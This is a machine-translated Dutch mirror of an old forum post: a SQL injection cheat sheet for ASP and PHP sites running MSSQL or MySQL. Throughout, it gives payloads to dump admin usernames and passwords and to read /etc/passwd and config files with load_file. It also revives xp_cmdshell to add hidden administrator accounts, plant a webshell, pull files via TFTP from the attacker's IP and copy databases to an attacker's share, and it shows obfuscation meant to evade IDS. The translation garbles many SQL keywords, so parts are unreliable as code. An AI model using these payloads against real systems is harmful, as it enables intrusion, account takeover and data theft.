Dit artikel is een spiegelartikel van machinevertaling, klik hier om naar het oorspronkelijke artikel te gaan.

Bekijken: 20889|Antwoord: 2

[Veilige communicatie] SQL Injection Book - ASP Injection Kwetsbaarheid Volledig Contact

[Link kopiëren]
Geplaatst op 28-09-2015 18:21:41 | | |


MSSQL cross-database queries (stinkend voedsel!) Donker)

Haal elke druppel MS SQL eruit

SQL-instructiereferenties en recordsetobjecten worden in detail uitgelegd

Over opgeslagen procedures in SQL Server

Maak een webshell met mssql-back-up

SQL_Injection geavanceerde toepassingen

Cross-site SQL-injectie (laokai)

Vreemde SQL-injectie (AMANL)

Geavanceerde SQL-injectie in SQL Server-toepassingen

Hoe gebruik je SQL-injectie om mappen te doorlopen

Walkthrough van SQL-injectietechnieken (Vertaler: demonalex)

Sommige aanvallen op SQL-databases

SQL Injection Attack Technique (JSW)

SQL_Injection Geavanceerde Toepassingen (APACHY)

Ongebruikelijke methoden voor SQL-injectie (Guilin-veteraan)

Maak een back-up van een granaat

Praat over php+mysql injectie-statementstructuur (Heyhehehehe·≯Super· Hei)

Geavanceerde SQL-injectie met MySQL(angel)

L'injection (My)SQL via PHP

Oracle SQL Language

SQL handmatige injectie-encyclopedie

Vereisten vereisen tools: SQL Query Analyzer en SqlExec Sunx Version
==============================================================================================
1. Bepaal of er een injectiepunt is
; en 1=1 en 1=2
2. Denk dat de naam van de tabel niets meer is dan admin, admin, gebruikerswachtwoord, enzovoort:
en 0<>(selecteer telling(*) van *)
en 0<>(selecteer aantal(*) vanuit beheerder) — Bepaal of de beheertabel bestaat
3. Raad het aantal accounts: Als je 0 tegenkomt< ga je terug naar de juiste pagina< ga je terug naar de foutpagina om aan te geven dat het aantal accounts 1 is.
en 0<(selecteer aantal(*) vanuit de beheerder)
en 1<(selecteer aantal(*) vanuit de administratie)
4. Raad de naam van het veld. Voeg de veldnaam die we denken toe in de lin( ) haakjes.
en 1=(selecteer aantal(*) vanuit de administratie waar len(*)>0)–
en 1=(selecteer aantal(*) vanuit admin waar len(gebruikersnaam veldnaam)>0)
en 1=(selecteer aantal(*) vanuit admin waar len(_blank>wachtwoord veldnaam)>0)
5. Raad de lengte van elk veld Raad de lengte is om >0 te transformeren totdat de juiste pagina wordt teruggegeven
en 1=(selecteer aantal(*) vanuit admin waar len(*)>0)
en 1=(selecteer aantal(*) van admin waar len(name)>6) fout
en 1=(selecteer aantal(*) vanuit admin waar len(name)>5) De juiste lengte is 6
en 1=(selecteer aantal(*) van admin waar len(naam)=6) correct is
en 1=(selecteer aantal(*) van de admin waar len(password)>11) correct is
en 1=(selecteer aantal(*) vanuit de beheerder waarbij len(password)>12) foutlengte 12 is
en 1=(selecteer aantal(*) vanuit admin waar len(password)=12) correct is
6. Raad de personages
en 1=(selecteer aantal(*) vanuit admin waar links(naam,1)=a) — Raad het eerste cijfer van het gebruikersaccount
en 1=(selecteer aantal(*) vanuit admin waar links(naam,2)=ab)—Raad het tweede cijfer van het gebruikersaccount
Voeg gewoon één karakter tegelijk toe om te raden, raad genoeg cijfers als je net hebt geraden, en het accountnummer komt eruit
(1) Raad de naam van de tafel

Gebruikte zinnen:
en bestaat (selecteer * uit tabelnaam)

Bijvoorbeeld:
en bestaat (selecteer * uit admin)

Als de pagina correct echoot, betekent dit dat de tabelnaam die we hier raden correct is, en als de pagina fout is, betekent dat dat de tabelnaam die we hier hebben geschreven fout is

, verander dan de naam van de tafel en blijf raden totdat je het raadt.

Over het algemeen zijn veelgebruikte tabelnamen admin, beheer, gebruiker, of het in de toolrun zetten
(2) Raad het veld

Gebruikte zinnen:
en bestaat (selecteer veldnaam uit tabelnaam)

Bijvoorbeeld:
en bestaat (selecteer gebruikersnaam van de beheerder)

Hier, ervan uitgaande dat de admin-tabel de tabel is die ik hierboven correct heb geraden, wil ik bepalen of het gebruikersnaamveld bestaat, ik moet deze uitspraak gebruiken, als de pagina

Als de face echo correct is, betekent dit dat de veldnaam die we hier raden correct is, en als de pagina fout is, betekent dat dat de veldnaam die we hier hebben geschreven fout is

, verander dan de naam van het veld en blijf raden totdat je het raadt.

Over het algemeen omvatten veelvoorkomende veldnamen gebruikersnaam, wachtwoord, gebruiker, pass, naam, pass, pwd, usr, psd en andere velden
(3) Orden door

order by is om de som te krijgen van het aantal velden op die pagina, ter voorbereiding op de volgende gezamenlijke query
(4) Union Select

  1. Als je joint query ondersteunt, zoek dan de displaybit http://www.xxx.com/product_show.asp?id=1 en 1=2 union select

1,2,3,4,5,6,7,8,9,10,11
Stel dat de weergavebits 5,6 zijn. Vervolgens hoeven we alleen de veldnamen die overeenkomen met de gebruikersnaam en het wachtwoord van de beheerder te vervangen door de positie van het weergavebit hier
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select

1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 van de beheerder vond de achtergrondlogin
  2. Als gezamenlijke query niet wordt ondersteund
De gebruikersnaam en het wachtwoord van de beheerder kunnen niet worden verkregen zonder gezamenlijke zoekopdracht - met Ascii-woordelijke decodering
Twee
  Gebruik order by om het aantal bits in de tabel te beoordelen, en als het niet werkt, gebruik union select om ze één voor één te rangschikken, hier gaan we uit van 8 bits
Drie
  Gebruik een gezamenlijke query om de weergavebits te bepalen
Vier
  Gebruik de displaybit om de databasenaam te vinden, databaseversie, 5.0 of hoger kan worden geïnjecteerd
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database

(),0x5c,user(),0x5c,
versie()),8
Vijf
  Met de databasenaam kun je beginnen met het tabelnaamschema = gevolgd door de HEX-waarde van de databasenaam, en de tabelnaam raden
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+table_name),8
+van+information_schema.columns+waar+
table_schema=0x666C6965725F6462617365
Zes
  De geanalyseerde tabelnaam bepaalt de HEX-waarde van de tabelnaam van de beheerder=tabelnaam, en raadt de velden in de tabel
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DUIDELIJK

+column_name),8+
van+information_schema.columns+waar+table_name=0x7075625F7765626D6173746572
Zeven
  Nadat we de velden in de beheertabel hebben opgehaald, laten we de inhoud van de velden opzoeken
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DUIDELIJK

+gebruikersnaam,
0x5f,userpwd),8+from+pub_webmaster
Acht
  Tool scant de achtergrond: Log in om de trojan te uploaden nadat je hem gevonden hebt, en als je het robots.txt-bestand niet kunt vinden, kun je er toegang toe krijgen
Negen
  Als je de achtergrond niet kunt vinden, wordt het wachtwoord van de MYSQL-beheerder onthuld
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat

(user,password),8+from+mysql.user
Tien
  Zoek willekeurig toegang tot een pad, en de feedback is de 404 standaardpagina van IIS6, wat aangeeft dat de websiteserver is: Windows+IIS6+php+MySql-omgeving
  c:\\windows\\system32\\inetsrv\MetaBase.xml\ Dit pad kan de websiteconfiguratie-informatie ophalen.
  Construct-statements http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file

(0x633A5C5C77696E646F77735C
  5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8
Elf
  Analyseer de code en vind het achtergrondadres
  In de eerste stap moeten we de lengte van de velden in de tabel krijgen
Gebruikte uitspraken:
en (selecteer top 1 len(veldnaam) uit tabelnaam)>0
Zoals wat:
en (selecteer top 1 len(admin_name) van de admin)>0
De pagina wordt normaal weergegeven, de lengte van het veld admin_name is groter dan 0, en ik zal indienen:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10
De pagina toont een foutmelding dat het veld tussen 0 en 10 ligt, en de lengte is 5 volgens de dichotomie
Met dezelfde methode om de lengte van het veld voor het wachtwoord van de beheerder te bepalen, krijg ik een lengte van 16
  Stap 2
Laten we nu doorgaan naar de tweede stap: neem een bepaald teken in het veld en haal de ASCII-code van dat teken op, die wordt gebruikt

Verklaring:
en (selecteer top 1 asc(mid(veldnaam, N,1)) uit de tabelnaam)>0
Laat me deze zin apart bekijken, eerst de binnenste mid(gebruikersnaam, 1,1) functie, dat is het eerste teken van het admin_name veld, N

geeft aan dat de eerste paar tekens moeten worden onderschept,
Dan vertegenwoordigt de buitenste asc()-functie, die de door de mid-functie onderschepte tekens omzet in ASCII-code, de buitenste bovenste 1, het returnveld van de eerste plaats

Een plaat dan,
De ">0" aan het einde is bedoeld om de geconverteerde ASCII-code met dit getal te vergelijken en uiteindelijk de onderschepping te krijgen door de laatste waarde voortdurend te veranderen

Krijg de specifieke informatie over dit personage
ASCII-code
Inzending:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>30
De pagina wordt normaal weergegeven, wat aangeeft dat de ASCII-code van dit teken groter is dan 30.
Inzending:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>90
De pagina wordt normaal weergegeven, wat aangeeft dat de ASCII-code van dit teken groter is dan 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)=97
De ASCII-code die ik uiteindelijk voor dit personage heb gekregen is 97
Vergelijk de ASCII-tabel:
Er kan worden geconcludeerd dat het eerste teken "a" is.
Daarna beoordeel ik de ASCII-code van het tweede karakter.

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from

admin)>90
De pagina wordt normaal weergegeven, wat aangeeft dat de ASCII-code van het teken groter is dan 90, en de laatste waarde wordt altijd gewijzigd
Met dezelfde methode werd het wachtwoord van de beheerder opgeleverd, en het resultaat dat ik kreeg was:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from

admin)=52
en 1=(selecteer top 1 count(*) van Admin waarbij Asc(mid(pass,5,1))=51) –
Deze query-instructie kan de Chinese gebruiker raden en _blank> wachtwoord. Vervang gewoon de volgende nummers door de Chinese ASSIC-code

Converteer naar personages.

groeperen door users.id met 1=1–www.myhack58.com
Groeperen op users.id, gebruikersgebruikersnaam, gebruikerswachtwoord, gebruikersgebruikersrechten met 1=1–
; Insert in users values (666, attacker, foobar, 0xffff)–

VAKBOND SELECT TOP 1 COLUMN_blank>_NAME UIT INFORMATION_blank>_SCHEMA. KOLOMMEN Waar

TABLE_blank>_NAME=logintable-
VAKBOND SELECT TOP 1 COLUMN_blank>_NAME UIT INFORMATION_blank>_SCHEMA. KOLOMMEN Waar

TABLE_blank>_NAME=logintabel Waar COLUMN_blank>_NAME NIET IN (login_blank>_id)-
VAKBOND SELECT TOP 1 COLUMN_blank>_NAME UIT INFORMATION_blank>_SCHEMA. KOLOMMEN Waar

TABLE_blank>_NAME=logintabel Waar COLUMN_blank>_NAME NIET IN

(login_blank>_id,login_blank>_name)-
UNION Selecteer TOP 1 login_blank>_name VAN inlogtabel-
UNION Selecteer TOP 1 wachtwoord UIT de inlogtabel waar login_blank>_name=Rahul–
Kijk naar de patch die door de _blank> server is gespeeld = verkeerde SP4 patch zwarte balk veiligheidsnet
en 1=(selecteer @@VERSION)–

Kijk naar de rechten van het _blank> database-verbindingsaccount, en het geeft normaal terug, wat bewijst dat het de sysadmin-toestemming is van de _blank> serverrol.
en 1=(Selecteer IS_blank>_SRVROLEMEMBER(sysadmin))–

Bepaal of het databaseaccount _blank> verbonden. (Gebruik SA-account om verbinding te maken en normaal terug te brengen = bewijs dat het verbonden account SA is)
en sa=(Selecteer System_blank>_user)–
en user_blank>_name()=dbo–
en 0<>(selecteer user_blank>_name()–

Kijk of xp_blank>_cmdshell verwijdert
en 1=(Selecteer aantal(*) VAN master.dbo.sysobjects Waar xtype = X EN naam = xp_blank>_cmdshell)



xp_blank>_cmdshell wordt verwijderd, hersteld en ondersteunt absolute padherstel
; UITVOEREND master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–
============================== database-toestemming wordt blootgesteld aan de fysieke padcode van de website

==========================================================================
1、droptafel [jm_tmp]; maak tabel [jm_tmp](waarde navrchar(4000) null, data nvarchar(4000)

null) -- Tabel aanmaken


2、 verwijderen [jm_tmp]; Voeg [jm_tmp] uitvoerend master.dbo.xp_regread in

'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--

Voeg de sitemap in in het tabelveld


3、en (selecteer top 1 cast([data] als nvarchar(4000) char(124) uit [jm_tmp] bestel door [data]

beschrijving)=0 '//Blootgesteld veld


4. Drop table [jm_tmp] -- verwijder deze tabel.
voor het commando om de granaat te halen
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i
>>d:\Andere stationspaden
======================load_file() Veelgebruikte gevoelige informatie ===========================================
1、 vervang(load_file(0×2F6574632F706173737764),0×3c,0×20)

2、vervang(load_file(char(47,101,116,99,47,112,97,115,115,119,100)), char(60),char(32))
De bovenstaande twee zijn bedoeld om een PHP-bestand te bekijken dat de code volledig weergeeft. Soms worden sommige tekens niet vervangen, zoals "<" in plaats van "space" die terugkeert

Webpagina. En de code kan niet worden bekeken.

3. load_file(char(47)) kan de rootdirectory van FreeBSD- en Sunos-systemen weergeven

4. Bekijk het Linux APACHE virtuele host configuratiebestand in /etc/httpd/conf/httpd.conf of /usr/local/apche/conf/httpd.conf

5. C:\Program Files\Apache Group\Apache\conf\httpd.conf of C:\apache\conf\httpd.conf om WINDOWS te bekijken

System Apache-bestand

6. c:/Resin-3.0.14/conf/resin.conf Bekijk de resinbestandconfiguratie-informatie van de website ontwikkeld door jsp.

7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf om de JSP virtuele host te bekijken die op het Linux-systeem is geconfigureerd

8、d:\APACHE\Apache2\conf\httpd.conf

9、C:\Program Files\mysql\my.ini

10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin explode-pad

11. C:\Windows\system32\inetsrv MetaBase.xml\ Bekijk het virtuele hostconfiguratiebestand van IIS

12. /usr/local/resin-3.0.22/conf/resin.conf om het RESIN-configuratiebestand voor 3.0.22 te bekijken

13. /usr/local/resin-pro-3.0.22/conf/resin.conf Hetzelfde als hierboven

14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtuele host

15. /etc/sysconfig/iptables hangt af van het firewallbeleid

16. /usr/local/app/php5 b/php.ini PHP-equivalente instellingen

17. /etc/my.cnf MYSQL configuratiebestand

18. /etc/redhat-release systeem versie van Red Hat

19 、C:\mysql\data\mysql\user. MYD bestaat in het gebruikerswachtwoord in het MYSQL-systeem

20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 om IP te bekijken.

21. /usr/local/app/php5 b/php.ini //PHP-gerelateerde instellingen

22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // virtuele website-instellingen

23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

24、c:\windows\my.ini

25. /etc/issue toont de distributie-informatie van de Linux-kernel

26、/etc/ftpuser

27. Controleer het operatielogbestand onder LINUX user.bash_history of .bash_profile

28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log
.. /apache/logs/error.log
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
.. /apache/logs/error.log     
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
========================================================
Experimenteer zelf met reverse PING
; gebruik master; verklaar @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s uit; Uitvoerend

sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –

Een account toevoegen
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32 cmd.exe\ /c net user jiaoniang$ 1866574 /add–

Maak een virtuele directory E-disk aan:
; Declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o exec sp_blank>_oamethod @o out, run

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–

Toegangsattributen: (met schrijven naar een webshell)
Declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o exec sp_blank>_oamethod @o out, run

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

Speciale _blank> truc voor het bursten van de bibliotheek: :%5c=\ of verander %5 met / en \ om te committen
en 0<>(selecteer de top 1 paden uit Newtable)–

Krijg de databasenaam (van 1 tot 5 zijn de ID's van het systeem, en je kunt ze boven de 6 beoordelen)
en 1=(selecteer naam uit master.dbo.sysdatabases waarbij dbid=7)–
en 0<>(selecteer aantal(*) uit master.dbo.sysdatabases waarbij name>1 en dbid=6)
Dien dbid in op de beurt = 7,8,9.... Vind meer _blank> databasenamen

en 0<>(selecteer de bovenste naam 1 uit bbs.dbo.sysobjects waarbij xtype=U) in een tabel wordt geburst met de aanname van admin
en 0<>(selecteer de bovenste naam 1 uit bbs.dbo.sysobjects waarbij xtype=u en naam niet in (Admin)).

Andere tafels.
en 0<>(selecteer count(*) uit bbs.dbo.sysobjects waar xtype=u en name=admin
en uid>(str(id))) De numerieke waarde van de UID wordt verondersteld 18779569 uid=id te zijn
en 0<>(selecteer de top 1 naam uit bbs.dbo.syscolumns waar id=18779569) een veld van admin verkrijgen, false

Ingesteld op user_blank>_id
en 0<>(selecteer de naam top 1 uit bbs.dbo.syscolumns waarbij id=18779569 en naam niet in de kolommen staan
(id,...)) om andere vakgebieden bloot te leggen
en 0<(selecteer user_blank>_id uit BBS.dbo.admin waar gebruikersnaam>1) om de gebruikersnaam te krijgen
Op je beurt kun je _blank> wachtwoord krijgen。。。。。 Stel dat er velden zijn zoals user_blank>_id gebruikersnaam, wachtwoord, enzovoort

en 0<>(selecteer aantal(*) uit master.dbo.sysdatabases waarbij name>1 en dbid=6)
en 0<>(selecteer de bovenste 1-naam uit bbs.dbo.sysobjects waarbij xtype=U) om de tabelnaam te krijgen
en 0<>(selecteer de bovenste 1 naam uit bbs.dbo.sysobjects waarbij xtype=u en naam niet in(Adres))
en 0<>(selecteer count(*) uit bbs.dbo.sysobjects waar xtype=u en name=admin en uid>(str(id)))

Bepaal de id-waarde
en 0<>(selecteer de naam top 1 uit BBS.dbo.syscolumns waarbij id=773577794) alle velden

?id=-1 unie selecteer 1,2,3,4,5,6,7,8,9,10,11,12,13,* van admin
?id=-1 unie selecteer 1,2,3,4,5,6,7,8,*,9,10,11,12,13 vanuit de beheerder (unie, toegang is ook eenvoudig te gebruiken)

Haal het WEB-pad
; Maak een tabel [DBO]. [wissel] ([swappass][char](255)); –
en (selecteer top 1 swappass uit swap)=1–
; Maak TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declareer @test varchar(20) exec

Meester.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEEM

\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test

OUTPUT invoegen in path(path)-waarden(@test)–
; gebruik ku1; –
; maak table cmd (STR-afbeelding); – Maak een tabel-cmd aan van het afbeeldingstype
1. De manier om het xp_cmdshell extensieproces te verwijderen is door de volgende verklaring te gebruiken:

als bestaat (selecteer * uit dbo.sysobjects waar id=object_id(N'[dbo].[ xpcmdshell]') en

OBJECTPROPERTY(id,N'IsExtendedProc')=1)
exec sp_dropextendedproc N'[dbo]. [xp_cmdshell]'

2. De manier om xp_cmdshell extensieproces toe te voegen is door de volgende verklaring te gebruiken:

(1) SQL Query Analyzer

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2) Vul eerst %'s in in de Formaatoptie van SqlExec Sunx Version en voer deze in de CMD-optie

sp_addextendedproc 'xp_cmdshell','xpsql70.dll'

verwijderen

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell','xplog70.dll'
Er zijn xp_blank>_cmdshell testprocessen:
; Uitvoerend meester.. xp_blank>_cmdshell regie
; uitvoerend master.dbo.sp_blank>_addlogin jiaoniang$; – Voeg SQL-accounts toe
; exec master.dbo.sp_blank>_password null, jiaoniang$,1866574; –
; uitvoerend master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin; –
; exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add;–
; exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add; –
Uitvoerend meester.. xp_blank>_servicecontrol begint, plan om _blank> dienst te starten
Uitvoerend meester.. xp_blank>_servicecontrol begin, server
; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c netuser jiaoniang$ 1866574 /add
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; Uitvoerend meester.. xp_blank>_cmdshell tftp -i youip get file.exe – Upload bestanden met TFTP

; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
; Declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\
; verklaar @a; verzameling @a=db_blank>_name(); Back-updatabase @a naar schijf=je IP Je gedeelde map bak.dat
Als het beperkt is, ja.
selecteer * uit openrowset(_blank>sqloledb,server; sa; , selecteer OK! Uitvoerend

master.dbo.sp_blank>_addlogin hax)

Querystructuur:
Selecteer * VAN nieuws Waar id=... EN onderwerp=... EN .....
adminand 1=(selecteer aantal(*) van [user] waar gebruikersnaam=slachtoffer en rechts(links(userpass,01),1)=1)

en userpass <>
selecteer 123; –
; gebruik master; –
:a of naam zoals fff%; – Toont een gebruiker genaamd ffff.
en 1<>(selecteer aantal (e-mail) van [gebruiker]); –
; Werk [gebruikers] Stel e-mail in=(Selecteer de naam top 1 uit Sysobjects waar xtype=u en status>0) waar

naam=FFFF; –
; Werk [gebruikers] Stel e-mail bij =(Selecteer top 1 ID uit Sysobjects waar xtype=u en name=ad) waar

naam=FFFF; –
; [gebruikers] instellen e-mail=(selecteer de bovenste naam 1 uit sysobjects waar xtype=u en id>581577110)

waarbij naam=ffff; –
; Werk [gebruikers] Stel e-mail in=(selecteer de bovenste 1 count(id) uit wachtwoord) waar name=ffff; –
; Werk [gebruikers] Stel e-mail in=(Selecteer top 1 PWD uit wachtwoord waar ID=2) waar naam=FFFF; –
; Werk [gebruikers] Stel e-mail in=(Selecteer de bovenste 1 naam uit het wachtwoord waar ID=2) waar naam = ffff; –
De bovenstaande instructie is bedoeld om de eerste gebruikerstabel in de _blank>database te krijgen en de tabelnaam in het e-mailveld van de ffff-gebruiker in te voeren.
Door het gebruikersprofiel van ffff te bekijken, kun je de eerste tabel krijgen die AD heet
Vervolgens krijg je de ID van deze tabel volgens de tabelnaam en om de naam van de tweede tabel te krijgen

Insert in users values( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),

char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
Invoegen in gebruikerswaarden (667,123,123,0xffff)–
Invoegen in gebruikerswaarden (123, admin–, wachtwoord, 0xffff)–
; en user>0
; en (selecteer aantal(*) uit sysobjects)>0
; en (selecteer count(*) uit mysysobjects)>0 // voor de access_blank> database

Noem de naam van de datatabel
; Update AAA-set AAA=(selecteer de naam top 1 uit sysobjects waarbij xtype=u en status>0); –
Hier wordt de eerste tabelnaam bijgewerkt naar het veld AAA.
Lees de eerste tabel, en de tweede tabel kan zo worden gelezen (voeg toe en naam na de voorwaarde<> de naam van de tabel die je net hebt gekregen).
; Update AAA set AAA=(selecteer de naam top 1 uit sysobjects waarbij xtype=u en status>0 en

naam<>stem); –
Dan id=1552 en bestaat (selecteer * uit aaa waar aaa>5)
Lees de tweede tabel voor en lees die één voor één totdat er geen meer is.
Het leesveld ziet er als volgt uit:
; update aaa set AAA=(selecteer top 1 col_blank>_name(object_blank>_id(tabelnaam),1)); –
Dan krijgt id=152 en bestaat (selecteer * uit aaa waarbij aaa>5) krijgt een foutmelding en krijgt de veldnaam
; update aaa set AAA=(selecteer top 1 col_blank>_name(object_blank>_id(tabelnaam),2)); –
Dan krijgt id=152 en bestaat (selecteer * uit aaa waarbij aaa>5) krijgt een foutmelding en krijgt de veldnaam

[Naam van de datatabel ophalen] [Werk de veldwaarde bij naar de tabelnaam, en lees vervolgens de waarde van dit veld uit om de tabelnaam te krijgen]
Tabel Naam Setveld bijwerken=(Selecteer de bovenste 1 naam uit SysObjects waarbij xType=U en Status>0 [ en naam<>

De tabelnaam die je krijgt Zoek één plus één]) [ waar voorwaarde ] selecteer de bovenste 1-naam uit sysobjects waar xtype=u en

status>0 en naam niet in(tabel1,tabel2,...)
Het aanmaken van een databasebeheerdersaccount en een systeembeheerdersaccount _blank> _blank> kwetsbaarheidsinjectie via SQLSERVER [Het huidige account moet de SYSADMIN-groep zijn]

[Haal naam van het datatabel veld op] [Werk de veldwaarde bij naar de veldnaam, en lees vervolgens de waarde van dit veld uit om de veldnaam te krijgen]
Tabel Naam Bijwerken Set Veld=(Selecteer Top 1 col_blank>_name(object_blank>_id (Naam van de datatabel om op te vragen), veldkolom

Bijvoorbeeld: 1) [ waar de voorwaarde ]

IDS-detectie omzeilen [met variabelen]
; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
; Declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\

1. Open de externe _blank>database
Basissyntaxis
selecteer * uit OPENROWSET(SQLOLEDB, server=servernaam; uid=sa; pwd=123, selecteer * uit tabel1 )
Parameters: (1) OLEDB Provider naam
2. De verbindingsstringparameter kan elke poort zijn die je moet verbinden, zoals
selecteer * uit OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Netwerk=DBMSSOCN; Adres=192.168.0.1,1433; ,

Selecteer * uit de tabel
3. Kopieer de volledige _blank>-database van de doelhost en voeg alle externe tabellen in in de lokale tabel.

Basissyntaxis:
insert in OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, selecteer * uit tabel1) selecteer

* uit tabel2
Deze regelinstructie kopieert alle gegevens van de table2-tabel op de doelhost naar de table1-tabel in de externe _blank>-database. Passende reparaties in praktische toepassing

